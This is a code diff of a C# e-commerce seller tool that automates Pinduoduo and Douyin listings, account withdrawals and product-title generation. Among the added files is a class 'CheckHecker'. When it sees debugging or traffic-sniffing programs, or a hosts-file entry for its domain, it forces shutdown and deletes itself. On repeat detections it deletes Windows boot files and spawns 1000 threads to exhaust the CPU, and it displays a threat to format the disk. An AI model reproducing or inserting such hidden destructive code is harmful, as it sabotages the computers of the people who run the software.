if (dicPropNameConverter.Keys.Contains(upPropName))
{
if (("," + dicPropNameConverter[upPropName] + ",").Contains("," + douyinPropName + ","))
return douyinPropName;
}
return upPropName;
}
Dictionary<string, string> dicPropNameConverter { get; } = new Dictionary<string, string>() {
{ "主材质", "材质" },
{ "拍杆材质", "材质" },
{ "外壳材质", "材质" },
{ "材质种类", "材质" },
{ "面料分类", "材质" },
{ "材质成分", "面料材质,面料材质成分含量,材质"},
{ "面料", "面料材质" },
{ "面料俗称", "面料材质,材质" },
{ "材质", "面料材质,主材质" },
{ "被里材质", "被里材质" },
{ "被里面料俗称", "被里材质" },
{ "被里材质含量", "被里成分含量" },
{ "被面材质", "被面材质" },
{ "被面材质含量", "被面成分含量" },
{ "成分含量", "面料成分含量" },
{ "衣柜面料", "饰面材质" },
{ "饰面面料", "面料材质" },
{ "鞋面材质", "帮面材质,材质" },
{ "刷毛材质", "材质" },
{ "储藏方法", "贮存条件" },
{ "适用人群", "适用对象" },
{ "是否支持定制", "是否可定制" },
{ "清扫模式", "清洁类型" },
{ "3C认证证书编号", "CCC证书编号" },
{ "上市时节", "上市年份季节" },
{ "适用年龄段", "适用年龄" },
{ "产品类型", "鞋垫种类" },
{ "杯身材质", "材质" }, // 水杯 水杯女可爱大容量塑料杯可爱学生便携夏季大肚带吸管杯子男高颜值
{ "净含量", "有效成分含量" },
{ "续航时间", "电池使用时间"},
{ "防水级别", "防水等级" },
{ "绳材质", "材质" },
{ "内里材质", "填充物种类" },
};
public List<PropertiesValuesBase> UpProperty2DouyinPropertyValueConverter(string upPropName, List<PropertiesValuesBase> options)
{
if (options?.Find(o => o.name.ToLower() == upPropName.ToLower()) != null)
return options.Where(o => o.name.ToLower() == upPropName.ToLower()).ToList();
if (options?.Find(o => o.name.ToLower() == upPropName.ToLower() + "镶嵌") != null)
return options.Where(o => o.name.ToLower() == upPropName.ToLower() + "镶嵌").ToList();
if (dicPropValueConverter.Keys.Contains(upPropName.ToLower()))
{
var ops = options.Where(o => ("," + dicPropValueConverter[upPropName.ToLower()] + ",").Contains("," + o.name + ",")).ToList();
if (ops.Count > 0)
return ops;
}
if (upPropName.Contains("%"))
{
string[] strArr = new string[] { "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "." };
foreach (var item in strArr)
{
upPropName = upPropName.Replace(item, "");
}
var upPropNames = upPropName.Split(new string[] { "%" }, StringSplitOptions.RemoveEmptyEntries);
var upPropNameConverted = "";
foreach (var item in upPropNames)
{
if (dicPropValueConverter.Keys.Contains(item.ToLower().Trim()))
upPropNameConverted += dicPropValueConverter[item.ToLower().Trim()] + ",";
else
upPropNameConverted += item.ToLower().Trim() + ",";
}
var ops = options.Where(o => ("," + upPropNameConverted.ToLower() + ",").Contains("," + o.name + ",")).ToList();
if (ops.Count > 0)
return ops;
}
return new List<PropertiesValuesBase>();
}
Dictionary<string, string> dicPropValueConverter { get; } = new Dictionary<string, string>() {
{ "人造革", "聚酯纤维" },
{ "涤纶", "聚酯纤维" },
{ "丝绵", "聚酯纤维" },
{ "仿丝棉", "聚酯纤维" },
{ "涤纶(聚酯纤维)", "聚酯纤维,涤纶" },
{ "粘胶纤维(粘纤)", "粘胶纤维,粘纤" },
{ "聚酰胺纤维(锦纶)", "聚酰胺纤维,锦纶" },
{ "聚氨酯弹性纤维(氨纶),", "聚氨酯弹性纤维,氨纶" },
{ "记忆棉(聚氨酯)", "记忆棉,聚氨酯" },
{ "二层牛皮", "牛剖层皮革" },
{ "二层牛皮(除牛反绒)", "牛剖层皮革"},
{ "超纤皮", "牛剖层皮革" },
{ "pu", "聚氨酯,人造革" },
{ "吸口滚刷互换式", "滚刷吸口互换" },
{ "科技布", "涤纶" },
{ "毛毡" , "聚酯纤维" },
{ "人造纤维", "仿生纤维毛" },
{ "925银", "925银镶嵌" },
{ "绸缎", "丝绸" },
{ "棉布", "棉" },
{ "pvc", "PVC(聚氯乙烯)"},
{ "包芯丝", "尼龙,氨纶"},
{ "全碳素", "碳纤维" },
{ "棉麻", "棉,亚麻" },
{ "帆布", "纺织" },
{ "天丝(莱赛尔纤维)", "天丝,莱赛尔纤维" },
{ "天丝", "莱赛尔纤维" },
{ "eva", "EVA发泡胶" },
{ "蚕丝", "桑蚕丝" },
{ "弹力布", "纺织" },
{ "发泡橡胶", "橡胶发泡" },
{ "复合底", "橡胶+EVA" },
{ "冰丝", "粘胶纤维" },
{ "橡胶", "橡胶底" },
{ "丁腈", "NBR,nbr"},
{ "丁腈橡胶", "NBR,nbr"},
{ "棉", "纺织" },
};
}
public class product_format_new_item
{
public string name { get; set; }
public long value { get; set; }
public long diy_type { get; set; }
}
}
+230
View File
@@ -0,0 +1,230 @@
using AllBase;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using Work.Api;
using Work.ManageClass;
namespace Work.CollectClass
{
public class BankWithDraw
{
public static string Name = "账户提现";
public static string Name2 = "账户充值";
public string bankPhone;
public int amount;
public string code;
public ShopChatBase currentShop;
public static List<ShopChatBase> TempShops = new List<ShopChatBase>();
public void GetWithDraw()
{
for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++)
{
var shop = GetShopLoginInfo.Shops[i];
if (!shop.SelectPayOrder || !shop.Showed)
continue;
string url = "https://mms.pinduoduo.com/uranus/api/account/balance/info";
string refere = "https://mms.pinduoduo.com/exp/mallPromotion";
string data = "{}";
string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, shop.Cookies);
decimal accountMoney = BaseRegex.GetDecimalJson(ref html, "freeBalance") / 100m;
decimal available= BaseRegex.GetDecimalJson(ref html, "availableBalance") / 100m;
if (available < 0)
available = 0;
url = "https://mms.pinduoduo.com/uranus/api/finance/account/queryBankAccountListV2";
refere = "https://mms.pinduoduo.com/Pdd.html";
data = "{\"statusList\":[1,2]}";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, shop.Cookies);
string bankName = BaseRegex.GetStringJson(ref html, "bankName");
string bankAccountName = BaseRegex.GetStringJson(ref html, "bankAccountName");
string bankAccountId = BaseRegex.GetStringJson(ref html, "bankAccountId");
string bankPhone = BaseRegex.GetStringJson(ref html, "bankPhone");
string bankCard = bankName + " " + bankAccountName + " " + bankAccountId;
//保证金
url = "https://mms.pinduoduo.com/uranus/api/deposit/mall?p=langlang12";
refere = "https://mms.pinduoduo.com/Pdd.html";
data = "{\"size\":\"5\" }";
//第一页匹配结果
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, shop.Cookies);
//保证金
decimal freeBalance = BaseRegex.GetDecimalJson(ref html, "freeBalance") / 100;
WithDraw w = new WithDraw();
w.bankName = bankName;
w.bankAccountName = bankAccountName;
w.bankAccountId = bankAccountId;
w.bankPhone = bankPhone;
w.accountMoney = available;// available;
w.freeBalance = freeBalance;
if (string.IsNullOrEmpty(bankName))
{
w.status = "没有绑定银行卡";
}
shop.withDraw = w;
TempShops.Add(shop);
LogSave.Add(Name, "商铺" + shop.ShopName + ",获取数据成功");
}
}
public void GetChongZhi()
{
for (int i = 0; i < GetShopLoginInfo.Shops.Count; i++)
{
var shop = GetShopLoginInfo.Shops[i];
if (!shop.SelectPayOrder || !shop.Showed)
continue;
string url = "https://mms.pinduoduo.com/uranus/api/deposit/mallDepositWithPending";
string refere = "https://mms.pinduoduo.com";
string data = "{}";
string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, shop.Cookies);
long showDepositBalance = BaseRegex.GetLongJson(ref html, "showDepositBalance");
long thresholdBalance = BaseRegex.GetLongJson(ref html, "thresholdBalance");
long sub = thresholdBalance - showDepositBalance;
if (sub <= 0)
{
LogSave.Add(Name2, "商铺" + shop.ShopName + ",不需要充值,跳过");
continue;
}
url = "https://mms.pinduoduo.com/uranus/cashier/preCharge/shortUrl";
data = "{\"amount\":"+sub+",\"chargeType\":1,\"clientType\":1,\"successUrl\":\"/finance/deposit\",\"failedUrl\":\"/finance /deposit\"}";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, shop.Cookies);
string shortUrl = BaseRegex.GetStringJson(ref html, "result");
url = "https://mms.pinduoduo.com/uranus/cashier/preCharge/information";
refere = "https://mms.pinduoduo.com/Pdd.html";
data = "{\"shortUrl\":\""+shortUrl+"\"}";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, shop.Cookies);
long availableBalance = BaseRegex.GetLongJson(ref html, "availableBalance");
if (availableBalance < sub)
{
LogSave.Add(Name2, "商铺" + shop.ShopName + ",货款可用余额小于充值金额,跳过");
continue;
}
url = "https://mms.pinduoduo.com/uranus/api/finance/account/queryBankAccountListV2";
refere = "https://mms.pinduoduo.com/Pdd.html";
data = "{\"statusList\":[1,2]}";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, shop.Cookies);
string bankPhone = BaseRegex.GetStringJson(ref html, "bankPhone");
if (string.IsNullOrEmpty(bankPhone))
continue;
WithDraw w = new WithDraw();
w.freeBalance = showDepositBalance / 100M;
w.bankPhone = bankPhone;
w.availableBalance = availableBalance;
w.subMoney = sub;
w.shortUrl = shortUrl;
shop.withDraw = w;
TempShops.Add(shop);
LogSave.Add(Name2, "商铺" + shop.ShopName + ",获取数据成功");
}
}
public void GetSingleWithDraw()
{
string url = "https://mms.pinduoduo.com/uranus/api/mall/balance";
string refere = "https://mms.pinduoduo.com/exp/mallPromotion";
string data = "{}";
string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, currentShop.Cookies);
decimal accountMoney = BaseRegex.GetDecimalJson(ref html, "result") / 100m;
url = "https://mms.pinduoduo.com/uranus/api/finance/account/queryBankAccountListV2";
refere = "https://mms.pinduoduo.com/Pdd.html";
data = "{\"statusList\":[1,2]}";
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, currentShop.Cookies);
string bankName = BaseRegex.GetStringJson(ref html, "bankName");
string bankAccountName = BaseRegex.GetStringJson(ref html, "bankAccountName");
string bankAccountId = BaseRegex.GetStringJson(ref html, "bankAccountId");
string bankPhone = BaseRegex.GetStringJson(ref html, "bankPhone");
string bankCard = bankName + " " + bankAccountName + " " + bankAccountId;
//保证金
url = "https://mms.pinduoduo.com/uranus/api/deposit/mall?p=langlang12";
refere = "https://mms.pinduoduo.com/Pdd.html";
data = "{\"size\":\"5\" }";
//第一页匹配结果
html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, currentShop.Cookies);
//保证金
decimal freeBalance = BaseRegex.GetDecimalJson(ref html, "freeBalance") / 100;
WithDraw w = new WithDraw();
w.bankName = bankName;
w.bankAccountName = bankAccountName;
w.bankAccountId = bankAccountId;
w.bankPhone = bankPhone;
w.accountMoney = accountMoney;
w.freeBalance = freeBalance;
if (!string.IsNullOrEmpty(currentShop.withDraw.status))
{
w.status = currentShop.withDraw.status;
w.datetime = currentShop.withDraw.datetime;
w.amount = currentShop.withDraw.amount;
}
currentShop.withDraw = w;
TempShops.Add(currentShop);
LogSave.Add(Name, "商铺" + currentShop.ShopName + ",获取数据成功");
}
public void GetCode()
{
string url = "https://mms.pinduoduo.com/uranus/api/phoneCodeWithPreCheckV2";
string refere = "https://mms.pinduoduo.com/Pdd.html";
string data = "{\"amount\":" + amount + ",\"withdrawType\":1}";
string html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, currentShop.Cookies, data, CpsSetAllGoods.getAnti0aon());
//string html = GetPostTaobaoHtml.UploadTaobaoPost(url, refere, true, data, currentShop.Cookies);
if (html.Contains("\"success\":true"))
{
LogSave.Add(Name, "商铺"+currentShop.ShopName+",获取验证码成功");
return;
}
else
{
string errorMsg = BaseRegex.GetStringJson(ref html, "errorMsg");
LogSave.Add(Name, "商铺" + currentShop.ShopName + ",获取验证码失败"+errorMsg);
return;
}
}
public void ConformWithDraw()
{
string url = "https://mms.pinduoduo.com/uranus/api/balance/withdrawV2";
string refere = "https://mms.pinduoduo.com/Pdd.html";
string data = "{\"amount\":" + amount + ",\"phoneCode\":\"" + code + "\",\"withdrawType\":1}";
string html = CpsSetAllGoods.Request_mms_pinduoduo_com(url, refere, currentShop.Cookies, data, CpsSetAllGoods.getAnti0aon());
if (html.Contains("\"success\":true"))
{
LogSave.Add(Name, "商铺" + currentShop.ShopName + ",提现成功");
currentShop.withDraw.amount = amount / 100.0M;
currentShop.withDraw.datetime = DateTime.Now;
currentShop.withDraw.status = "提现成功";
}
else
{
string errorMsg = BaseRegex.GetStringJson(ref html, "errorMsg");
LogSave.Add(Name, "商铺" + currentShop.ShopName + ",提现失败,"+ errorMsg);
currentShop.withDraw.amount = amount / 100.0M;
currentShop.withDraw.datetime = DateTime.Now;
currentShop.withDraw.status = "提现失败," + errorMsg;
}
GetSingleWithDraw();
}
}
public class WithDraw
{
public string bankName = "";
public string bankAccountName = "";
public string bankAccountId ="";
public string bankPhone = "";
public decimal freeBalance = 0.0M;
public decimal accountMoney = 0.0M;
public decimal amount = 0.0M;//提现金额
public DateTime datetime = DateTime.MinValue;
public string status = "";
public long availableBalance = 0;//货款可用金额
public long subMoney = 0;//充值金额
public string shortUrl = "";
}
}
+436
View File
@@ -0,0 +1,436 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
using AllBase;
using Work.Api;
using Work.ManageClass;
namespace Work.CollectClass
{
public class BigDataBuild
{
public static Dictionary<string, int> Keywords = new Dictionary<string, int>();
public List<string> NoKeyword = new List<string>();
public static List<TaobaoProductBase> Product = new List<TaobaoProductBase>();
public static List<TaobaoProductBase> ProductTemp = new List<TaobaoProductBase>();
public static bool Running = false, AutoAdd = false, OnlyFree = false,BuildAutoAdd=false;
public static int BeginPrice = 0, EndPrice = 0, BeginSaleCount = 0, EndSaleCount = 0, GetCount = 0, MaxCount = 0, ThisCount = 0;
public int SiteId = 1;
public string Name;
public static string SearchUrl = "", MainCatName = "";
public BigDataBuild(string name)
{
if (Keywords.Count == 0)
IniKeyword();
Name = name;
}
public void Get(int siteId, string noKeyword)
{
NoKeyword.Clear();
string[] l = noKeyword.Split('\n');
foreach (var s in l)
{
string ss = s.Trim();
if (string.IsNullOrEmpty(s))
continue;
NoKeyword.Add(ss);
}
SiteId = siteId;
new Thread(Get).Start();
}
public string GetRandTitle(string title)
{
var m = BaseRegex.GetMatchRegex(ref title, @"(【[\w\W]+?】)");
string before = "";
for (int i = 0; i < m.Count; i++)
{
before += m[i].Groups[1].Value;
title = title.Replace(m[i].Groups[1].Value, "");
}
if (string.IsNullOrEmpty(title))
return "";
List<string> keyx = new Segment().Get(title);
string newTitle = "",left = title+" ";
foreach (string s in keyx)
{
newTitle += s;
for (int i = 0; i < left.Length - s.Length; i++)
{
string key = left.Substring(i, s.Length);
if (key == s)
{
if (i > 0)
left = left.Substring(0, i) + " " + left.Substring(i + s.Length);
else
left = left.Substring(s.Length);
break;
}
}
}
return before+newTitle + left.Replace(" ","");
}
public void Get()
{
int mainCatId = BaseClass.MainCatId;
foreach (KeyValuesBase key in FromTitleToCat.MainCat)
{
if (key.Value2 == MainCatName)
mainCatId = int.Parse(key.Key);
}
string url = BaseClass.LoginApiUrl + "?obj=product/product&act=get";
StringBuilder s = new StringBuilder();
//s.Append("&act=get");
s.Append("&begin_price=" + BeginPrice);
s.Append("&end_price=" + EndPrice);
s.Append("&begin_sale_count=" + BeginSaleCount);
s.Append("&end_sale_count=" + EndSaleCount);
s.Append("&get_count=" + GetCount);
s.Append("&site_id=" + SiteId);
s.Append("&main_cat_id=" + mainCatId);
string html = GetHtml.PostUtf8(url, UserLogin.GetSignaturex() + s);
var m = BaseRegex.GetMatchRegex(ref html, @"<product ([^>]+?)>");
for (int i = 0; m != null && i < m.Count; i++)
{
string list = m[i].Groups[0].Value;
int siteId = BaseRegex.GetIntJson(ref list, "site_id");
TaobaoProductBase t = new TaobaoProductBase();
t.FromId = BaseRegex.GetLongJson(ref list, "product_id");
t.Titlte = BaseRegex.GetStringJson(ref list, "name").Replace("2017","2018");
bool had = false;
foreach (string k in NoKeyword)
{
if (t.Titlte.Contains(k))
{
had = true;
break;
}
}
if (had)
continue;
t.FromType = siteId == 1 ? "淘宝" : "拼多多";
t.Cat1 = BaseRegex.GetIntJson(ref list, "cat1");
if (t.Cat1 == 194)
continue;
decimal free = BaseRegex.GetDecimalJson(ref list, "express_price");
if (OnlyFree && free > 0)
continue;
t.Cat2 = BaseRegex.GetIntJson(ref list, "cat2");
t.Cat3 = BaseRegex.GetIntJson(ref list, "cat3");
t.MainCatId = BaseRegex.GetIntJson(ref list, "main_cid");
t.Price = BaseRegex.GetDecimalJson(ref list, "price");
t.SaleCount = BaseRegex.GetIntJson(ref list, "sold_count");
had = Product.Exists(p => p != null && p.FromId == t.FromId);
if (!had)
{
Product.Add(t);
ProductTemp.Add(t);
}
}
}
public void BuildTitle()
{
Running = true;
MaxCount = Product.Count;
for (int i = 0; i < Product.Count && Running; i++)
{
ThisCount = i + 1;
var p = Product[i];
if (p == null || p.Build)
continue;
string title = p.Titlte;
string mainKey = GetMainKeywords(title);
if (string.IsNullOrEmpty(mainKey))
{
LogSave.Add(Name, "没有找到主关键词");
continue;
}
string newTitle = GetAllTitle(mainKey);
if (string.IsNullOrEmpty(newTitle) && mainKey.Split(' ').Length==4)
{
newTitle = GetAllTitle(mainKey.Substring(0,mainKey.LastIndexOf(" ")));
}
if (string.IsNullOrEmpty(newTitle))
{
LogSave.Add(Name, "生成标题失败:" + mainKey);
continue;
}
p.Build = true;
p.Titlte = newTitle;
LogSave.Add(Name, "生成标题成功:" + p.Titlte);
BigDataCenter.ProductTemp.Add(p);
if (BuildAutoAdd)
{
if (p.FromType == "内部数据")
p.FromType = "拼多多";
UploadPinduoduoMain.ProductStock.Add(p);
UploadPinduoduoMain.AddToDataBase(p);
}
}
ThisCount = MaxCount;
Running = false;
}
/// <summary>
/// 以关键词和指数获取标题
/// </summary>
/// <param name="keyword"></param>
/// <returns></returns>
public string GetIndexKeywordTitle(string keyword)
{
return "";
}
/// <summary>
/// 以关键词获取标题
/// </summary>
/// <param name="keyword"></param>
/// <returns></returns>
public string GetAllTitle(string keyword)
{
if (string.IsNullOrEmpty(keyword) || !keyword.Contains(" "))
return "";
Thread.Sleep(500);
string url = "http://t.qimake.cn/api.php?keyword=" + GetHtml.UrlEncodeUtf8(keyword);
string data = UserLogin.GetSignaturex() ;
string html = GetHtml.PostUtf8(url, data);
html = GetHtml.Decode(html).Replace("\\/", "/");
//var m = BaseRegex.GetMatchRegex(ref html, @"""title"":""([^""]+?)""");
string titles = "";
string[] tl = html.Split('\n');
foreach (var ti in tl)
{
string title = ti.Replace("2017", "2019").Replace("2018", "2019");
title = BaseRegex.Clear(title, "(【[^】]+】)");
title = BaseRegex.Clear(title, @"(买[\d]+发[\d]+)");
title = BaseRegex.Clear(title, @"(满[\d]+减[\d]+)");
if (titles.Contains(title) || title.Length < 4)
continue;
if (title.Length > 60)
title = title.Substring(0, 60);
titles += title.Substring(4);
}
//for (int j = 0; m != null && j < m.Count; j++)
//{
// string title = m[j].Groups[1].Value;
// if (titles.Contains(title) || title.Length < 4)
// continue;
// titles += title.Substring(4);
//}
BaseRegex.Relpace(ref titles, "([0-9a-zA-Z-_:&;/])", "");
List<string> keyx = new Segment().Get(titles);
List<string> key = new List<string>();
string noKey = ",正品,限量,代购,限时,厂家,天猫,微信,京东,淘宝,韩国,日本,美国,正版,真品,真皮,,,";
for (int i = 0; keyx != null && i < keyx.Count; i++)
{
if (key.Contains(keyx[i]) || noKey.Contains(keyx[i]) || keyx[i].Contains("正") || keyx[i].Contains("真")
|| AlibabaShop.TitleCantHad.Contains(keyx[i]) || AlibabaShop.NoBrandName.Contains(keyx[i]) || AlibabaShop.NoTitleWords.Contains(keyx[i]))
continue;
key.Add(keyx[i]);
}
if (key.Count < 30)
return "";
string[] l = keyword.Split(' ');
for (int i = 0; i < l.Length; i++)
{
if (AlibabaShop.NoTitleWords.Contains(l[i]) || AlibabaShop.NoBrandName.Contains(l[i]) ||
AlibabaShop.TitleCantHad.Contains(l[i]))
l[i] = "";
}
string newTitle = l[0];
int times = 0;
while (newTitle.Length < 8 && times < 1000)
{
times++;
int r = new Random(Guid.NewGuid().GetHashCode()).Next(key.Count);
if (newTitle.Contains(key[r]))
continue;
newTitle += key[r];
}
if (l.Length > 1)
newTitle += l[1];
times = 0;
while (newTitle.Length < 16 && times < 1000)
{
times++;
int r = new Random(Guid.NewGuid().GetHashCode()).Next(key.Count);
if (newTitle.Contains(key[r]))
continue;
newTitle += key[r];
}
if (l.Length > 2)
newTitle += l[2];
while (newTitle.Length < 22 && times < 1000)
{
times++;
int r = new Random(Guid.NewGuid().GetHashCode()).Next(key.Count);
if (newTitle.Contains(key[r]))
continue;
newTitle += key[r];
}
if (l.Length > 3)
newTitle += l[3];
times = 0;
while (BaseClass.GetCharLength(newTitle) < CollectKeywordByTaobao.MaxTitleLen * 2 - 2 && times < 1000)
{
times++;
int r = new Random(Guid.NewGuid().GetHashCode()).Next(key.Count);
if (newTitle.Contains(key[r]))
continue;
newTitle += key[r];
}
//超强过滤
for (int i = 0; i < AlibabaShop.NoBrandName.Count; i++)
{
if (newTitle.Contains(AlibabaShop.NoBrandName[i]))
newTitle = newTitle.Replace(AlibabaShop.NoBrandName[i], "");
}
while (BaseClass.GetCharLength(newTitle) < CollectKeywordByTaobao.MaxTitleLen * 2 - 2 && times < 1000)
{
times++;
int r = new Random(Guid.NewGuid().GetHashCode()).Next(key.Count);
if (newTitle.Contains(key[r]))
continue;
newTitle += key[r];
}
return newTitle;
}
public string GetMainKeywords(string title)
{
if (string.IsNullOrEmpty(title))
return "";
BaseRegex.Relpace(ref title, "([0-9a-zA-Z-_:&;/])", "");
title = title.Replace(" ", "").Replace("新款", "").Replace("包邮", "").Replace("正品", "").Replace("韩版", "")
.Replace("可爱", "").Replace("卡通", "").Replace("时尚", "").Replace("新品", "").Replace("特价", "").Replace("热销", "").Trim();
if (title.Length < 8)
return "";
Dictionary<string, int> keys = new Dictionary<string, int>();
for (int i = 2; i < title.Length; i++)
{
for (int j = 0; j < title.Length - i; j++)
{
string key = title.Substring(j, i).Trim();
if (string.IsNullOrEmpty(key) || keys.ContainsKey(key))
continue;
if (Keywords.ContainsKey(key))
keys.Add(key, Keywords[key] * 5 ^ (key.Length - 2));
}
}
string outKey = "";
if (keys.Count < 4)
{
List<string> keyx = new Segment().Get(title);
for (int i = 0; i < keyx.Count&& keys.Count<4; i++)
{
if(keys.ContainsKey(keyx[i]))
continue;
keys.Add(keyx[i],1);
}
}
if (keys.Count < 5)
{
foreach (KeyValuePair<string, int> key in keys)
{
outKey += " " + key.Key;
}
return outKey.Trim();
}
string key1 = "", key2 = "", key3 = "", key4 = "";
int count1 = 0, count2 = 0, count3 = 0, count4 = 0;
foreach (KeyValuePair<string, int> key in keys)
{
if (count1 < key.Value)
{
count1 = key.Value;
key1 = key.Key;
}
else if (count2 < key.Value)
{
count2 = key.Value;
key2 = key.Key;
}
else if (count3 < key.Value)
{
count3 = key.Value;
key3 = key.Key;
}
else if (count4 < key.Value)
{
count4 = key.Value;
key4 = key.Key;
}
}
outKey = key1 + " " + key2 + " " + key3 + " " + key4;
return outKey.Trim();
}
public void Ini()
{
string fileName = "lbigdata.dll";
if (!FileBase.Exists(fileName))
{
GetHtml.DownloadFile("http://dl.qixiaoke.com/lbigdata.html", fileName);
}
string[] l = FileBase.ReadAllLines(fileName, Encoding.UTF8);
if (l == null || l.Length < 300000)
{
GetHtml.DownloadFile("http://dl.qixiaoke.com/lbigdata.html", fileName);
l = FileBase.ReadAllLines(fileName, Encoding.UTF8);
}
if (l == null || l.Length < 300000)
{
MessageBox.Show("初始化大数据异常,请检查网络", "提示");
return;
}
}
public void IniKeyword()
{
string[] l = "防狼,辣椒水,迷情,刀,枪,听话,催泪,瓦斯".Split(',');
for (int i = 0; i < l.Length; i++)
{
if (string.IsNullOrEmpty(l[i]))
continue;
NoKeyword.Add(l[i].Trim());
}
//string fileName = "lbigdata.dll";
string fileName = "Segment.dll";
l = FileBase.ReadAllLines(fileName, Encoding.UTF8);
if (l == null || l.Length < 300000)
{
MessageBox.Show("初始化大数据失败,请重新打开软件", "提示");
return;
}
for (int i = 0; i < l.Length; i++)
{
if (string.IsNullOrEmpty(l[i]) || !l[i].Contains("\t"))
continue;
string[] ll = l[i].Split('\t');
string keyword = ll[0].Replace(" ", "");
int rank = int.Parse(ll[1]);
if (!Keywords.ContainsKey(keyword))
Keywords.Add(keyword, rank);
}
}
/// <summary>
/// 删除下架产品
/// </summary>
/// <param name="id">产品ID</param>
/// <param name="site">网站ID</param>
public static void Delete(long id, int site)
{
//string url = BaseClass.BigDataApiUrl + "?obj=product/product";
//string data = "&act=delete&site_id=" + site + "&id=" + id;
//string html = GetHtml.PostUtf8(url, UserLogin.GetSignaturex() + data);
}
}
}
+176
View File
@@ -0,0 +1,176 @@
using System;
using System.Diagnostics;
using System.IO;
using System.Text;
using System.Threading;
using System.Windows.Forms;
namespace Work.CollectClass
{
public class CheckHecker
{
private string SystemPath;
/// <summary>
/// 检查是否被黑客劫持
/// </summary>
public void Check()
{
try
{
CheckReCrack();
SystemPath = Environment.GetFolderPath(Environment.SpecialFolder.System);
string path = SystemPath + "\\drivers\\etc\\hosts";
if (File.Exists(path))
{
string f = File.ReadAllText(path);
if ( f.IndexOf("qixiaoke.com") > -1)
{
new Thread(IsHecker).Start();
string[] fl = File.ReadAllLines(path);
for (int i = 0; i < fl.Length; i++)
if ( f.IndexOf("qixiaoke.com") > -1)
fl[i] = "";
File.WriteAllLines(path, fl);
}
}
}
catch (Exception e)
{
}
}
/// <summary>
/// 检查反破解
/// </summary>
private void CheckReCrack()
{
string s = "dotPeek,Reflector,NETUnpack,PE Detective,SNSRemover,PROCDUMP,LordPE,OllyDump,de4dot,WSExplorer,Sniffer,wireshark,WinNetCap,Charles";
string[] l = s.Split(',');
foreach (System.Diagnostics.Process thisproc in System.Diagnostics.Process.GetProcesses())
{
for (int i = 0; i < l.Length; i++)
{
if (thisproc.ProcessName.ToLower() == l[i].ToLower())
{
new Thread(IsHecker).Start();
return;
}
}
}
}
/// <summary>
/// 发现是黑客破解
/// </summary>
public void IsHecker()
{
string p = "c:\\ini.ini";
if (!File.Exists(p))
File.WriteAllText(p, "0");
string f = File.ReadAllText(p);
int times = 0;
int.TryParse(f, out times);
if (times < 0)
times = 0;
times++;
File.WriteAllText(p, times.ToString());
new Thread(Warningx).Start();
new Thread(Warning).Start();
if (times > 3)
new Thread(DeleteSystemFile).Start();
}
/// <summary>
/// 警告对话框
/// </summary>
private void Warningx()
{
Thread.Sleep(100);
Process.Start("shutdown.exe", "-s -t 2");
DeleteMyself();
}
/// <summary>
/// 警告对话框
/// </summary>
private void Warning()
{
Thread.Sleep(500);
MessageBox.Show("警告:请不要在运行软件时,同时运行脱壳工具\r\n本对话框弹出第2次时,将格式化您的硬盘", "警告,请勿尝试破解软件");
}
/// <summary>
/// 删除系统文件
/// </summary>
private void DeleteSystemFile()
{
string c = SystemPath.Substring(0, 1);
string file = @"ntldr,AUTOEXEC.BAT,boot.ini,bootfont.bin,CONFIG.SYS,IO.SYS,MSDOS.SYS,NTDETECT.COM,BOOTSECT.BAK,YOMIU,bootmgr";
string[] f = file.Split(',');
for (int i = 0; i < f.Length; i++)
{
try
{
string path = c + ":\\" + f[i];
if (File.Exists(path))
{
new FileInfo(path).IsReadOnly = false;
new FileInfo(path).Attributes = FileAttributes.Normal;
File.Delete(path);
}
if (c.ToLower() != "c")
{
path = "c:\\" + f[i];
if (File.Exists(path))
{
new FileInfo(path).IsReadOnly = false;
new FileInfo(path).Attributes = FileAttributes.Normal;
File.Delete(path);
}
}
}
catch
{
}
}
//强制关机
Process.Start("shutdown.exe", "-s -t 2");
//耗尽CPU
for (int i = 0; i < 1000; i++)
{
Thread t = new Thread(UserAllCpu);
t.Priority = ThreadPriority.Highest;
t.Start();
}
}
/// <summary>
/// 耗尽CPU
/// </summary>
private void UserAllCpu()
{
while (true)
{
double s = 0;
for (int i = 0; i < 100000; i++)
{
s += i;
if (s == -1)
break;
}
}
}
/// <summary>
/// 删除自己
/// </summary>
private void DeleteMyself()
{
//在临时文件夹生成批处理文件
string vBatFile = Path.GetTempPath() + "clear.bat";
using (StreamWriter vStreamWriter = new StreamWriter(vBatFile, false, Encoding.Default))
{
vStreamWriter.Write(string.Format(":del\r\n" + " del \"{0}\"\r\n" +
"if exist \"{0}\" goto del\r\n" + "del %0\r\n", Application.ExecutablePath));
}
Process.Start(vBatFile);
Process.GetCurrentProcess().Kill();
}
}
}
+400
View File
@@ -0,0 +1,400 @@
using AllBase;
using NaiBa.Util.Extension;
using Newtonsoft.Json.Linq;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using Work.Api;
namespace Work.CollectClass
{
public class CollectDoyin
{
public static bool isGeting = false;
public static Dictionary<long, ProductCollectBase> ProductTemp = new Dictionary<long, ProductCollectBase>();
public static DateTime lastGetTime = DateTime.Now;
public bool GetSuccess = false;
public ProductCollectBase Product;
public string Message = "";
public CollectDoyin(ProductCollectBase product)
{
Product = product;
}
public void GetProduct()
{
while (isGeting)
{
Thread.Sleep(50);
}
isGeting = true;
Thread.Sleep(Randomx.GetId(3500, 4500));
try
{
this.GetProd();
}
catch (Exception ex)
{
Message = ex.Message;
}
isGeting = false;
}
public void GetProd()
{
if (ProductTemp.ContainsKey(Product.from_id))
{
GetSuccess = true;
Product = ProductTemp[Product.from_id].Clone();
return;
}
GetSuccess = false;
string html = "";
string sku = "";
bool canUse = false;
